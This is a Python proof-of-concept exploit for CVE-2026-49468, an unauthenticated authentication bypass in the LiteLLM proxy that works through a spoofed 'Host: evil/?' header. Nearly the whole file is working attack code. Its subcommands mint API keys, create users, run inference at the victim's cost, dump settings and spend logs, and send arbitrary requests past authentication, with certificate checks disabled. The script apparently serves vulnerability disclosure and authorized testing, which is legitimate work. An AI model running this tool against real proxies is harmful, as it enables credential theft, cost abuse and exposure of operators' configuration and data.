#!/usr/bin/env python3 """ CVE-2026-49468 - LiteLLM proxy unauthenticated auth bypass via Host-header route confusion. Affected: LiteLLM (BerriAI) proxy < 1.84.0 (verified on v1.83.14-stable) Fixed: v1.84.0 Class: Improper Authentication (CWE-290) / route confusion Auth: none (pre-auth) Root cause ---------- `get_request_route()` derives the route used for every auth decision from `request.url.path`, which Starlette rebuilds from the client-controlled `Host` header (`url = f"{scheme}://{host_header}{path}"; path = urlsplit(url).path`). FastAPI dispatches on the real ASGI path (`scope["path"]`). Sending a Host header containing `/?` pushes the real request path into the URL *query* component, so the auth layer sees route `/` (a public health route) while FastAPI still runs the protected handler. Both the authentication builder and the authorization wrapper short-circuit on public routes, so the request is served with no API key. The whole trick is one header: Host: evil/? Endpoints still guarded by an inline PROXY_ADMIN check (config/update, model/new, user/list, role elevation, MCP direct-create) remain blocked; everything gated only by the route-based check is reachable unauthenticated. Author: Caio Fabricio (BiiTts) - MIT License. For authorized security testing only. """ import argparse import http.client import json import ssl import sys from urllib.parse import urlsplit DEFAULT_HOST_PAYLOAD = "evil/?" # -> get_request_route() returns "/" (public) def _request(base_url, method, path, host_payload, body=None, bearer=None, timeout=15): """Send one HTTP request to base_url's real host, spoofing the Host header. Returns (status_code, response_text). When host_payload is None the Host header is left as the real target (used for the unauth baseline).""" parts = urlsplit(base_url) scheme = parts.scheme or "http" host = parts.hostname port = parts.port or (443 if scheme == "https" else 80) if scheme == "https": ctx = ssl.create_default_context() ctx.check_hostname = False ctx.verify_mode = ssl.CERT_NONE conn = http.client.HTTPSConnection(host, port, timeout=timeout, context=ctx) else: conn = http.client.HTTPConnection(host, port, timeout=timeout) payload = None if body is not None: payload = body if isinstance(body, (bytes, str)) else json.dumps(body) if isinstance(payload, str): payload = payload.encode() # skip_host=True lets us set the Host header verbatim (incl. "/" and "?"). conn.putrequest(method, path, skip_host=True, skip_accept_encoding=True) real_host = "%s:%s" % (host, port) conn.putheader("Host", host_payload if host_payload is not None else real_host) if payload is not None: conn.putheader("Content-Type", "application/json") conn.putheader("Content-Length", str(len(payload))) if bearer: conn.putheader("Authorization", "Bearer " + bearer) conn.putheader("Connection", "close") conn.endheaders(message_body=payload) resp = conn.getresponse() text = resp.read().decode(errors="replace") conn.close() return resp.status, text def _bypass(base_url, method, path, host_payload, body=None): return _request(base_url, method, path, host_payload, body=body) def _pretty(text, limit=None): try: obj = json.loads(text) out = json.dumps(obj, indent=2) except ValueError: out = text return out if limit is None else out[:limit] def action_check(args): """Confirm the target is vulnerable: baseline 401 vs bypass past-auth.""" hp = args.host_payload base_s, _ = _request(args.url, "GET", "/user/list", None) # no bypass byp_s, byp_b = _bypass(args.url, "GET", "/user/list", hp) # bypass print("[*] GET /user/list no-bypass Host -> %s" % base_s) print("[*] GET /user/list Host: %-8s -> %s" % (hp, byp_s)) vuln = base_s == 401 and byp_s != 401 if vuln: print("[+] VULNERABLE: authentication bypassed " "(baseline 401, bypass reached the handler: %s)." % byp_s) else: print("[-] Not vulnerable / patched (bypass still %s)." % byp_s) return 0 if vuln else 1 def action_mint_key(args): """Mint a virtual API key with no authentication.""" body = {"key_alias": args.alias} if args.alias else {} if args.models: body["models"] = args.models.split(",") st, txt = _bypass(args.url, "POST", "/key/generate", args.host_payload, body) if st == 200: key = json.loads(txt).get("key") print("[+] Minted virtual API key (unauthenticated): %s" % key) print(" This key works as normal auth (no bypass header needed).") else: print("[-] /key/generate returned %s:\n%s" % (st, _pretty(txt, 400))) return 1 return 0 def action_user(args): """Create a user unauthenticated (default role).""" body = {} if args.alias: body["user_alias"] = args.alias st, txt = _bypass(args.url, "POST", "/user/new", args.host_payload, body) print("[%s] POST /user/new -> %s" % ("+" if st == 200 else "-", st)) print(_pretty(txt, 600)) return 0 if st == 200 else 1 def action_chat(args): """Unauthenticated inference against the proxy's configured providers.""" body = {"model": args.model, "messages": [{"role": "user", "content": args.prompt}]} st, txt = _bypass(args.url, "POST", "/chat/completions", args.host_payload, body) print("[%s] POST /chat/completions -> %s" % ("+" if st == 200 else "-", st)) print(_pretty(txt, 800)) return 0 if st == 200 else 1 def action_dump(args): """Enumerate models / settings / spend unauthenticated.""" for path in ("/v1/models", "/model/info", "/spend/logs", "/settings", "/get/config/callbacks"): st, txt = _bypass(args.url, "GET", path, args.host_payload) print("=" * 60) print("[%s] GET %s -> %s" % ("+" if st == 200 else "-", path, st)) if st == 200: print(_pretty(txt, 1200)) return 0 def action_raw(args): """Send an arbitrary request through the bypass.""" body = args.data if args.data else None st, txt = _bypass(args.url, args.method, args.path, args.host_payload, body) print("[*] %s %s Host: %s -> %s" % (args.method, args.path, args.host_payload, st)) print(_pretty(txt)) return 0 if st < 400 else 1 def main(): p = argparse.ArgumentParser( description="CVE-2026-49468 - LiteLLM unauth auth bypass (Host route confusion).") p.add_argument("-u", "--url", required=True, help="Target base URL, e.g. http://127.0.0.1:4000") p.add_argument("--host-payload", default=DEFAULT_HOST_PAYLOAD, help="Spoofed Host header (default: %(default)r)") sub = p.add_subparsers(dest="cmd", required=True) sp = sub.add_parser("check", help="confirm vulnerability (401 vs bypass)") sp.set_defaults(func=action_check) sp = sub.add_parser("mint-key", help="mint a virtual API key unauthenticated") sp.add_argument("--alias", default="poc") sp.add_argument("--models", help="comma-separated model allowlist for the key") sp.set_defaults(func=action_mint_key) sp = sub.add_parser("user", help="create a user unauthenticated") sp.add_argument("--alias", default=None) sp.set_defaults(func=action_user) sp = sub.add_parser("chat", help="unauthenticated inference (cost abuse)") sp.add_argument("--model", default="gpt-3.5-turbo") sp.add_argument("--prompt", default="hello") sp.set_defaults(func=action_chat) sp = sub.add_parser("dump", help="enumerate models/settings/spend unauthenticated") sp.set_defaults(func=action_dump) sp = sub.add_parser("raw", help="arbitrary request through the bypass") sp.add_argument("method") sp.add_argument("path") sp.add_argument("--data", help="raw JSON body") sp.set_defaults(func=action_raw) args = p.parse_args() try: sys.exit(args.func(args)) except (http.client.HTTPException, OSError) as e: print("[!] transport error: %s" % e, file=sys.stderr) sys.exit(2) if __name__ == "__main__": main()